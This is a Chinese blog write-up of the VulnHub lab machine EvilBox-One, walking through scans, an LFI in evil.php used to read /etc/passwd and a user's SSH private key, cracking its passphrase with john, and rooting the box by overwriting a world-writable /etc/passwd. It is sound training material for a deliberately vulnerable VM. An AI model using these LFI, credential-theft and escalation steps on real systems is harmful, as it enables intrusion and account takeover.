

VulnHub日记（十一）： EvilBox-One

原创

[Dawn_Xiiii](#) 于 2021-09-28 14:41:08 发布 1236 收藏 1

分类专栏: [VulnHub日记](#) 文章标签: [web安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_44107836/article/details/120527401

版权



[VulnHub日记](#) 专栏收录该内容

18 篇文章 2 订阅

订阅专栏

靶机介绍

虚拟机链接: [EvilBox: One ~ VulnHub](#)

参考博客: [EvilBox Writeup - Vulnhub - Walkthrough - Security](#)

开始练习

本机ip: 192.168.56.102

虚拟机ip: 192.168.56.125

netdiscover查找ip

```
ediscover -r 192.168.56.0/24
```

```
5 Captured ARP Req/Rep packets, from 3 hosts. Total size: 300
```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.56.100	08:00:27:2b:7e:df	2	120	PCS Systemtechnik GmbH
192.168.56.123	0a:00:27:00:00:12	2	120	Unknown vendor
192.168.56.125	08:00:27:f0:64:c0	1	60	PCS Systemtechnik GmbH

CSDN @Dawn_Xiiii

nmap扫描开放端口及服务

```
nmap -A 192.168.56.125
```

```
└─# nmap -A 192.168.56.125
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-28 01:45 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try
Nmap scan report for 192.168.56.125
Host is up (0.00091s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|_ ssh-hostkey:
|   2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
|   256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA)
|_  256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
|_ http-server-header: Apache/2.4.38 (Debian)
|_ http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:F0:64:C0 (Oracle VirtualBox virtual NIC)
```

CSDN @Dawn_Xiiii

访问80端口并使用dirsearch扫描目录

```
gobuster dir -r -u http://192.168.56.125/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list
```

```
/index.html      (Status: 200) [Size: 10701]
/robots.txt      (Status: 200) [Size: 12]
/secret          (Status: 200) [Size: 4]
/server-status   (Status: 403) [Size: 279]
```

CSDN @Dawn_Xiiii

逐个访问，没有发现有用信息，继续递归扫描可以secret文件夹，发现 evil.php文件

```
/index.html      (Status: 200) [Size: 4]
/evil.php        (Status: 200) [Size: 0]
```

CSDN @Dawn_Xiiii

访问依旧没有收获，于是参考博客，使用fuzz枚举GET参数，于是在evil上找到了command参数，可以用于LFI，测试/etc/passwd,成功访问文件

```
ffuf -c -r -u 'http://192.168.56.125/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web
```

```
:: Method      : GET
:: URL         : http://192.168.56.125/secret/evil.php?FUZZ=/etc/passwd
:: Wordlist    : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout     : 10
:: Threads    : 40
:: Matcher    : Response status: 200,204,301,302,307,401,403,405
:: Filter     : Response size: 0

command [Status: 200, Size: 1430, Words: 13, Lines: 26]
```

CSDN @Dawn_Xiiii

```
192.168.56.125/secret/evil.php?command = /etc/passwd
```

```

1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 _apt:x:100:65534:./nonexistent:/usr/sbin/nologin
20 systemd-timesync:x:101:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
21 systemd-network:x:102:103:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
22 systemd-resolve:x:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
23 messagebus:x:104:110:./nonexistent:/usr/sbin/nologin
24 sshd:x:105:65534:./run/sshd:/usr/sbin/nologin
25 mowree:x:1000:1000:mowree,,:/home/mowree:/bin/bash
26 systemd-coredump:x:999:999:systemd Core Dumper:./usr/sbin/nologin

```

CSDN @Dawn_Xiiii

发现有mowree用户，尝试其他命令，无效，似乎只能访问文件，在mowree用户目录下有ssh公钥，尝试创建私钥登录ssh

```
192.168.56.125/secret/evil.php?command=/home/mowree/.ssh/id_rsa
```

将私钥复制到本地，更改权限，尝试破解密码

```

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: DES-EDE3-CBC, 9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEk1zONt+x4A06FmjFmR
hqvov8vgpQgQRPYMzJ3QgS9kUCGdgC5+cX1NCST/GKQOS4QMQ
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SA1GAQfZjqs1
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir
b7A9XTubgE1slUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzTh
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGn0v0zh1Z+z163S
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/On
zh7Ffq1K1MjZHxnIS3bdc14MPV0F3Hpx+iDukvyfeeWkuoeUuv
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5
tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hr06yp
94KATK4jcoIw708GnPdKBI+3Hk0qakL1kyYQVBtMjKTyEM8yR

```

```
cat >id_rsa
chmod 600 id_rsa
```

我们必须破解密码的hash值。因此，我们需要一个名为ssh2john.py的工具来生成hash值

ssh2john.py链接: <https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py>

```
./ssh2john.py id_rsa | tee hash
```

之后使用john爆破出用户mowree的ssh密码

```
john hash --wordlist=rockyou.txt
```

```
└─# ./ssh2john.py id_rsa | tee hash
id_rsa:$$shng$0$8$9FB1483F3D04E90E$1192$bae426d821487bf7994f9a4dc90ebe2b
113d83332774204bd9140867600b9f9c5e5342493fc6290392e103103144da723659f042
8078d9d6dd7b9a575bfa0cd618152629338b3bf81cb80642f938fe0681a46f68277a2300
bb5746ca11d769fe92b67a4fe20e4f34e13161314755b1a7851bfe41ed5d3cddbc34016e
b5a2662e9ef260ba7312d004c2f2e016ce8439233e646b487e34ea1f52b56d7c967f3a78
58aba8794bafccdd7d52953d92aac9a26ead1aa7c585bf7f37499bef1756231071c81001a
7c2f64dfbd3c3183cd4704a6bf716022e4987fa172bd3aca952d96ef54ade3cb87f5ecf7
cc7559d85a6543e6911d0326ca05f046ff156ed82477efc0512b3949922caa4635d02e81
9528bde081d768f5e2fc82a0f2d6f3d273b0d0ecbc6f0f86b9164693c8c29cca76d30f
a7c34f8a34dd4d4fba7da2a9d23833e8836541784b4043df103fce9f9df7c3671a546a32
507e13be57c5b36d5ce13faf9132daa05b52f4880801e029d322e77a0e95d0b51f65fff
5db124d20b6922d2ed5fbc401cb153559b78507e9cb0e730ab9bef2401a1ebd43f8a4cf9
8bbca7589afa678bd095652e86df9d48318b74339bd485da989f41d78f554e065c684838
d4d1ca73ecccdf637eb1f6e7d9739307d890d3f172911002774b4a4ca653ff65c5e344b3
9c9ab8fd65e190df954d85e77444f61f47c5353140a9b9361c6cbafbaa92ff843a0d5571
b9a64151462e44b623ff243958c88c52a4190e2b35158a568a3f1da46823f7f61bab5b12

└─(root@kali)-[~/Desktop]
└─# john hash --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all load
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorn (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:07 DONE (2021-09-28 02:17) 0.1394g/s 2000k/s 2000k/s 2000k/s
```

成功获得密码，接下来使用公钥登录方式登录ssh

```
ssh 192.168.56.125 -i id_rsa -l mowree
```

```
└─# ssh 192.168.56.125 -i id_rsa -l mowree
load pubkey "id_rsa": invalid format
Enter passphrase for key 'id_rsa':
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
mowree@EvilBoxOne:~$
```

根据提示，再次检查/etc/passwd文件，发现文件可写，使用openssh直接生成root的密码覆盖文件

```
mowree@EvilBoxOne:~$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1430 sep 28 05:47 /etc/passwd
```

```
openssl passwd -1
#输入想设定的密码
```

```
└─(root@kali)-[~/Desktop]
└─# openssl passwd -1
Password:
Verifying - Password:
$1$kMJEiZ8i$/m27ukMddE9yqu3rR01dEtawn_Xiiii
```

将生成的值覆盖之前/etc/passwd中root后的"x"(x的意思是密码保存在/etc/shadow中，修改该值，则可以将密码修改为输入的hash值，这里的截图值和上图中不一样是因为重新生成了其他密码

```
1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 _apt:x:100:65534:./nonexistent:/usr/sbin/nologin
20 systemd-timesync:x:101:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
21 systemd-network:x:102:103:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
22 systemd-resolve:x:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
23 messagebus:x:104:110:./nonexistent:/usr/sbin/nologin
24 sshd:x:105:65534:./run/sshd:/usr/sbin/nologin
25 mowree:x:1000:1000:mowree,,:/home/mowree:/bin/bash
26 systemd-coredump:x:999:999:systemd Core Dumper:./usr/sbin/nologin
```

CSDN @Dawn_Xiiii

```
#先复制/etc/passwd中内容
cat >/etc/passwd << b
b #输入b直接结束，实现清空
#修改x为生成的hash值，其余不变再写入/etc/passwd
cat >/etc/passwd <<end
#粘贴在这里，输入end结束
end
```

```

mowree@EvilBoxOne:~$ cat >/etc/passwd <<b
> b
mowree@EvilBoxOne:~$ cat /etc/passwd
mowree@EvilBoxOne:~$ cat >/etc/passwd
root:$1$Xo9pgR0c$R7oP1.tiXNealdYdsG0Vml:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

```

CSDN @Dawn_Xiiii

```

root:$1$Xo9pgR0c$R7oP1.tiXNealdYdsG0Vml:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

```

CSDN @Dawn_Xiiii

成功使用修改后的root密码登录，拿到FLAG

```
su -l root
```

```
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinmowree@EvilBoxOne:~$ su -l root
Contraseña:
root@EvilBoxOne:~# id
uid=0(root) gid=0(root) grupos=0(root)
root@EvilBoxOne:~# ls -al
total 24
drwx----- 3 root root 4096 ago 16 13:06 .
drwxr-xr-x 18 root root 4096 ago 16 11:16 ..
lrwxrwxrwx 1 root root 9 ago 16 13:06 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3526 ago 16 11:20 .bashrc
drwxr-xr-x 3 root root 4096 ago 16 11:40 .local
-rw-r--r-- 1 root root 148 ago 17 2015 .profile
-r----- 1 root root 31 ago 16 12:57 root.txt
root@EvilBoxOne:~# cat root.txt
36QtXfdJWvdC0VavlPIApUbdLqTsBM
```

CSDN @Dawn_Xiii